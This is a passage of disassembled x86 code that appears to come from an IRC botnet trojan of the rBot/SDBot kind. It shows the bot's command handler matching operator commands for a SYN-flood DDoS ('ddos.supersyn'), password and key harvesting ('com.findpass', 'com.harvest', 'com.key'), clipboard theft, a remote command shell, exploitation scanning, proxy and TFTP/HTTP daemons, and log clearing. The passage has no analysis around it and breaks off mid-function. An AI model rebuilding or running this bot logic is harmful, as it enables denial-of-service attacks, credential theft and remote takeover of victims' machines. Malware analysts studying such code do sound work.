		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FA19
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, ds:dword_4313B4
		jl	short loc_40F9F3
		jmp	loc_40FB81
; ---------------------------------------------------------------------------

loc_40FA19:				; CODE XREF: sub_40EE72+B90j
		push	offset asc_4387B8 ; " :"
		push	[ebp+arg_0]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F239
		mov	cl, ds:byte_42F5C4
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, ds:byte_42F5C4
		mov	[eax+3], cl
		lea	ecx, dword_444358[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_418C10
		lea	eax, [ebp+esi+var_54]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax

loc_40FA6E:				; CODE XREF: sub_40EE72+CA4j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_B8]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h
		test	eax, eax
		jz	short loc_40FADA
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_40FADA
		lea	eax, dword_444340[edi]
		push	eax
		call	sub_417AB0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_40FB0C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40FB0C
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 0Ch
		jmp	short loc_40FB0C
; ---------------------------------------------------------------------------

loc_40FADA:				; CODE XREF: sub_40EE72+C24j
					; sub_40EE72+C2Bj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_40FB0C
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_14]
		mov	[ebp+var_12], bl
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 18h

loc_40FB0C:				; CODE XREF: sub_40EE72+C3Dj
					; sub_40EE72+C51j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40FA6E
		lea	eax, [ebp+esi+var_54]
		mov	[ebp+arg_20], 10h
		mov	edi, eax

loc_40FB29:				; CODE XREF: sub_40EE72+D03j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_B8]
		push	offset aD	; "$%d"
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h
		test	eax, eax
		jz	short loc_40FB6C
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40FB6C
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 0Ch

loc_40FB6C:				; CODE XREF: sub_40EE72+CDFj
					; sub_40EE72+CE5j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40FB29
		mov	[ebp+var_DC], 1

loc_40FB81:				; CODE XREF: sub_40EE72+B74j
					; sub_40EE72+BA2j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, ds:byte_42F5C4
		jz	short loc_40FB9A
		cmp	[ebp+var_DC], ebx
		jz	loc_40FD7F

loc_40FB9A:				; CODE XREF: sub_40EE72+D1Aj
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe_0	; "$me"
		push	edi
		call	sub_40A7D7
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_40A7D7
		push	[ebp+var_8C]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_40A7D7
		push	ebx
		push	ebx
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_415CFF
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_40A7D7
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_40A7D7
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h

loc_40FC0C:				; CODE XREF: sub_40EE72+E86j
		test	eax, eax
		jz	loc_40FCFD
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_B8]
		push	offset asc_438420 ; ")"
		push	eax
		call	sub_418B6E
		add	esp, 1Ch
		cmp	[ebp+var_B8], 30h
		jl	short loc_40FC58
		cmp	[ebp+var_B8], 39h
		jle	short loc_40FC6E

loc_40FC58:				; CODE XREF: sub_40EE72+DDBj
		push	3
		lea	eax, [ebp+var_B8]
		push	offset a63	; "63"
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40FC6E:				; CODE XREF: sub_40EE72+DE4j
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	short loc_40FC91
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_14], al
		jmp	short loc_40FCA2
; ---------------------------------------------------------------------------

loc_40FC91:				; CODE XREF: sub_40EE72+E0Bj
		call	sub_41730A
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_14], dl

loc_40FCA2:				; CODE XREF: sub_40EE72+E1Dj
		lea	eax, [ebp+var_B8]
		mov	[ebp+var_13], bl
		push	eax
		call	sub_417AB0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_B8]
		push	ebx
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_B8]
		push	[ebp+arg_10]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 30h
		jmp	loc_40FC0C
; ---------------------------------------------------------------------------

loc_40FCFD:				; CODE XREF: sub_40EE72+D9Cj
		mov	edi, 1FFh
		lea	eax, [ebp+var_FB0]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_FB0]
		push	edi
		push	eax
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_11B0]
		push	offset asc_42A3B4 ; " "
		push	eax
		call	sub_418B6E
		add	esp, 20h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+arg_10], 1Fh

loc_40FD4D:				; CODE XREF: sub_40EE72+EF0j
		push	offset asc_42A3B4 ; " "
		push	ebx
		call	sub_418B6E
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40FD4D
		mov	ecx, [ebp+esi+var_94]
		lea	eax, [ebp+esi+var_94]
		cmp	ecx, ebx
		jz	loc_40F239
		add	ecx, 3
		mov	[eax], ecx

loc_40FD7F:				; CODE XREF: sub_40EE72+D22j
		mov	edi, [ebp+esi+var_94]
		push	edi
		push	offset aIrc_rndnick ; "irc.rndnick"
		mov	[ebp+arg_8], edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414EF3
		push	edi
		push	offset aRn	; "rn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414EF3
		push	edi
		push	offset aIrc_die	; "irc.die"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ED1
		push	edi
		push	offset aIrc_di	; "irc.di"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ED1
		push	edi
		push	offset aIrc_logout ; "irc.logout"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E2F
		push	edi
		push	offset aLo	; "lo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E2F
		push	edi
		push	offset aIrc_version ; "irc.version"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E20
		push	edi
		push	offset aVer	; "ver"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E20
		push	edi
		push	offset aLockdown_on ; "lockdown.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0B
		push	edi
		push	offset aLd_on	; "ld.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0B
		push	edi
		push	offset aLockdown_off ; "lockdown.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0B
		push	edi
		push	offset aLd_off	; "ld.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0B
		push	edi
		push	offset aProxy_socks4_o ; "proxy.socks4.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BE9
		push	edi
		push	offset aProxy_s4_on ; "proxy.s4.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BE9
		push	edi
		push	offset aProxy_socks4_0 ; "proxy.socks4.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FEEF
		push	[ebp+esi+var_90]
		push	11h
		push	offset aServer	; "Server"
		push	offset dword_438368

loc_40FED3:				; CODE XREF: sub_40EE72+10A1j
					; sub_40EE72+10C7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_416FE8
		add	esp, 20h
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40FEEF:				; CODE XREF: sub_40EE72+104Cj
		push	edi
		push	offset aDaemon_rlogin_ ; "daemon.rlogin.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF15
		push	[ebp+esi+var_90]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_438344
		jmp	short loc_40FED3
; ---------------------------------------------------------------------------

loc_40FF15:				; CODE XREF: sub_40EE72+108Cj
		push	edi
		push	offset dword_438334
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF3B
		push	[ebp+esi+var_90]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_438328
		jmp	short loc_40FED3
; ---------------------------------------------------------------------------

loc_40FF3B:				; CODE XREF: sub_40EE72+10B2j
		push	edi
		push	offset dword_438320
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF64
		push	[ebp+esi+var_90]
		push	1Dh
		push	offset dword_438314
		push	offset dword_438308
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_40FF64:				; CODE XREF: sub_40EE72+10D8j
		push	edi
		push	offset aProxy_redirect ; "proxy.redirect.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF8D
		push	[ebp+esi+var_90]
		push	10h
		push	offset dword_4382E4
		push	offset dword_4382D4
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_40FF8D:				; CODE XREF: sub_40EE72+1101j
		push	edi
		push	offset dword_4382C8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FFB6
		push	[ebp+esi+var_90]
		push	0Ah
		push	offset dword_4382BC
		push	offset dword_4382B0
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_40FFB6:				; CODE XREF: sub_40EE72+112Aj
		push	edi
		push	offset dword_4382A0
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FFDF
		push	[ebp+esi+var_90]
		push	0Bh
		push	offset dword_438294
		push	offset dword_438288
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_40FFDF:				; CODE XREF: sub_40EE72+1153j
		push	edi
		push	offset dword_438278
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410008
		push	[ebp+esi+var_90]
		push	0Fh
		push	offset dword_43826C
		push	offset dword_438260
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_410008:				; CODE XREF: sub_40EE72+117Cj
		push	edi
		push	offset dword_438250
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410031
		push	[ebp+esi+var_90]
		push	0Eh
		push	offset dword_438244
		push	offset dword_438238
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_410031:				; CODE XREF: sub_40EE72+11A5j
		push	edi
		push	offset aDaemon_tftp_of ; "daemon.tftp.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41005A
		push	[ebp+esi+var_90]
		push	4
		push	offset aServer	; "Server"
		push	offset dword_43821C
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_41005A:				; CODE XREF: sub_40EE72+11CEj
		push	edi
		push	offset aUtil_findfile_ ; "util.findfile.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BD1
		push	edi
		push	offset aUtil_ff_off ; "util.ff.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BD1
		push	edi
		push	offset aCom_procs_off ;	"com.procs.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BB9
		push	edi
		push	offset aCom_ps_off ; "com.ps.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BB9
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4100D7
		push	[ebp+esi+var_90]
		push	18h
		push	offset aClone	; "Clone"
		push	offset dword_4381BC
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_4100D7:				; CODE XREF: sub_40EE72+124Bj
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410100
		push	[ebp+esi+var_90]
		push	1Ah
		push	offset aSecure_0 ; "Secure"
		push	offset dword_438194
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_410100:				; CODE XREF: sub_40EE72+1274j
		push	edi
		push	offset aRoot_stop ; "root.stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410129
		push	[ebp+esi+var_90]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_410129:				; CODE XREF: sub_40EE72+129Dj
		push	edi
		push	offset aRoot_stats ; "root.stats"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BA3
		push	edi
		push	offset aRoot_st	; "root.st"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BA3
		push	edi
		push	offset aIrc_reconnect ;	"irc.reconnect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B82
		push	edi
		push	offset aIrc_r	; "irc.r"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B82
		push	edi
		push	offset aIrc_disconnect ; "irc.disconnect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B60
		push	edi
		push	offset aIrc_d	; "irc.d"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B60
		push	edi
		push	offset aIrc_quit ; "irc.quit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B18
		push	edi
		push	offset aIrc_q	; "irc.q"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B18
		push	edi
		push	offset aIrc_status ; "irc.status"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414AD9
		push	edi
		push	offset aIrc_s	; "irc.s"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414AD9
		push	edi
		push	offset aIrc_id	; "irc.id"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ACD
		push	edi
		push	offset aIrc_i	; "irc.i"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ACD
		push	edi
		push	offset aCom_rebewt ; "com.rebewt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410277
		call	sub_40AC20
		test	eax, eax
		mov	eax, offset dword_4380BC
		jnz	short loc_410249
		mov	eax, offset dword_438088

loc_410249:				; CODE XREF: sub_40EE72+13D0j
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 1Ch
		jmp	loc_40F822
; ---------------------------------------------------------------------------

loc_410277:				; CODE XREF: sub_40EE72+13C2j
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149DC
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149DC
		push	edi
		push	offset aIrc_aliases ; "irc.aliases"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149BC
		push	edi
		push	offset aIrc_al	; "irc.al"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149BC
		push	edi
		push	offset aIrc_log	; "irc.log"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148C9
		push	edi
		push	offset aIrc_lg	; "irc.lg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148C9
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148B0
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148B0
		push	edi
		push	offset aCom_netinfo ; "com.netinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41487E
		push	edi
		push	offset aCom_ni	; "com.ni"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41487E
		push	edi
		push	offset aDdos_supersyn ;	"ddos.supersyn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410459
		mov	edi, [ebp+esi+var_90]
		push	7Fh
		lea	eax, [ebp+var_76C]
		push	edi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+esi+var_8C]
		push	7Fh
		mov	[ebp+arg_18], eax
		push	eax
		lea	eax, [ebp+var_6EC]
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_88]
		push	7Fh
		lea	eax, [ebp+var_66C]
		push	esi
		push	eax
		call	sub_418C10
		push	7Fh
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_564], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_18]
		mov	[ebp+var_770], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_437FC8
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	14h
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_770]
		push	ebx
		push	eax
		push	offset sub_401831
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_410448

loc_410432:				; CODE XREF: sub_40EE72+15D4j
		cmp	[ebp+var_560], ebx
		jnz	loc_41460A
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_410432
; ---------------------------------------------------------------------------

loc_410448:				; CODE XREF: sub_40EE72+15BEj
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_437F7C
		jmp	loc_413BFB
; ---------------------------------------------------------------------------

loc_410459:				; CODE XREF: sub_40EE72+14E6j
		push	edi
		push	offset aCom_sysinfo ; "com.sysinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414850
		push	edi
		push	offset aCom_si	; "com.si"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414850
		push	edi
		push	offset aIrc_rem0ve ; "irc.rem0ve"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414816
		push	edi
		push	offset aIrc_rm0	; "irc.rm0"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414816
		push	edi
		push	offset aCom_procs ; "com.procs"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41470D
		push	edi
		push	offset aCom_ps	; "com.ps"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41470D
		push	edi
		push	offset aCom_harvest ; "com.harvest"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4146EF
		push	edi
		push	offset aCom_key	; "com.key"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4146EF
		push	edi
		push	offset aCom_uptime ; "com.uptime"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41466A
		push	edi
		push	offset aCom_up	; "com.up"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41466A
		push	edi
		push	offset aCom_driveinfo ;	"com.driveinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41464D
		push	edi
		push	offset aCom_drv	; "com.drv"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41464D
		push	edi
		push	offset aCom_testdlls ; "com.testdlls"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414634
		push	edi
		push	offset aCom_dll	; "com.dll"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414634
		push	edi
		push	offset aCom_opencmd ; "com.opencmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145C8
		push	edi
		push	offset aCom_ocmd ; "com.ocmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145C8
		push	edi
		push	offset aCom_ocmd_off ; "com.ocmd.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4105D2
		push	[ebp+esi+var_90]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_4105D2:				; CODE XREF: sub_40EE72+1746j
		push	edi
		push	offset aIrc_who	; "irc.who"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41065E
		cmp	[ebp+var_8], ebx
		jnz	short loc_410602
		push	ebx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_410602:				; CODE XREF: sub_40EE72+1774j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_410607:				; CODE XREF: sub_40EE72+17DBj
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_410613
		mov	eax, offset aEmpty ; "<Empty>"

loc_410613:				; CODE XREF: sub_40EE72+179Aj
		push	eax
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_410607
		push	offset dword_437E50

loc_410654:				; CODE XREF: sub_40EE72+5C56j
		call	sub_40BF6D
		jmp	loc_414F44
; ---------------------------------------------------------------------------

loc_41065E:				; CODE XREF: sub_40EE72+176Fj
		push	edi
		push	offset aCom_getclip ; "com.getclip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41457F
		push	edi
		push	offset aCom_gc	; "com.gc"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41457F
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414554
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414554
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414530
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414530
		push	edi
		push	offset aRoot_currentip ; "root.currentip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144F3
		push	edi
		push	offset aRoot_cip ; "root.cip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144F3
		push	edi
		push	offset aDaemon_rlogi_0 ; "daemon.rlogin.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4143A2
		push	edi
		push	offset aDaemon_rl_on ; "daemon.rl.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4143A2
		push	edi
		push	offset aDaemon_httpd_o ; "daemon.httpd.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41422C
		push	edi
		push	offset aDaemon_web_on ;	"daemon.web.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41422C
		push	edi
		push	offset aDaemon_tftp_on ; "daemon.tftp.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4140EB
		push	edi
		push	offset aDaemon_tf_on ; "daemon.tf.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4140EB
		push	edi
		push	offset aCom_findpass ; "com.findpass"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414041
		push	edi
		push	offset aCom_fp	; "com.fp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414041
		push	edi
		push	offset aAsc	; "asc"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D42
		push	edi
		push	offset aSa	; "sa"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D42
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aIrc_nick ; "irc.nick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D26
		push	[ebp+arg_8]
		push	offset aIrc_n	; "irc.n"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D26
		push	[ebp+arg_8]
		push	offset aIrc_join ; "irc.join"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D03
		push	[ebp+arg_8]
		push	offset aIrc_j	; "irc.j"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D03
		push	[ebp+arg_8]
		push	offset aIrc_part ; "irc.part"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CE7
		push	[ebp+arg_8]
		push	offset aIrc_pt	; "irc.pt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CE7
		push	[ebp+arg_8]
		push	offset aIrc_raw	; "irc.raw"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CAD
		push	[ebp+arg_8]
		push	offset aIrc_ra	; "irc.ra"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
